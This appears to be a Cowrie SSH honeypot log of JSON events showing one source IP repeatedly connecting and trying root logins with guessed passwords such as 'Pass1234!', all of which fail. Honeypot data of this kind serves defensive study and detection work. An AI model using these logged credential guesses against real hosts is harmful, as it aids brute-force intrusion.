{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:51.519118Z","src_ip":"60.165.124.241","session":"d368629d573a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54238,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab623b7d598f","protocol":"ssh","message":"New connection: 60.165.124.241:54238 (10.17.0.5:22) [session: ab623b7d598f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:51.789088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:51.794932Z","src_ip":"60.165.124.241","session":"ab623b7d598f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:52.049472Z","src_ip":"60.165.124.241","session":"ab623b7d598f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cnc.c0for123","message":"login attempt [root/cnc.c0for123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:52.841705Z","src_ip":"60.165.124.241","session":"ab623b7d598f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:54.106776Z","src_ip":"60.165.124.241","session":"ab623b7d598f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57304,"dst_ip":"10.17.0.5","dst_port":22,"session":"55711892dd91","protocol":"ssh","message":"New connection: 60.165.124.241:57304 (10.17.0.5:22) [session: 55711892dd91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:54.339823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:54.344685Z","src_ip":"60.165.124.241","session":"55711892dd91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:54.593735Z","src_ip":"60.165.124.241","session":"55711892dd91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0p-0p-0p-","message":"login attempt [root/0p-0p-0p-] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:56.045722Z","src_ip":"60.165.124.241","session":"55711892dd91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:57.298675Z","src_ip":"60.165.124.241","session":"55711892dd91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":32894,"dst_ip":"10.17.0.5","dst_port":22,"session":"edef603d404d","protocol":"ssh","message":"New connection: 60.165.124.241:32894 (10.17.0.5:22) [session: edef603d404d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:58.568217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:58.573905Z","src_ip":"60.165.124.241","session":"edef603d404d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:58.834674Z","src_ip":"60.165.124.241","session":"edef603d404d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234!","message":"login attempt [root/Pass1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:59.629660Z","src_ip":"60.165.124.241","session":"edef603d404d","protocol":"ssh"}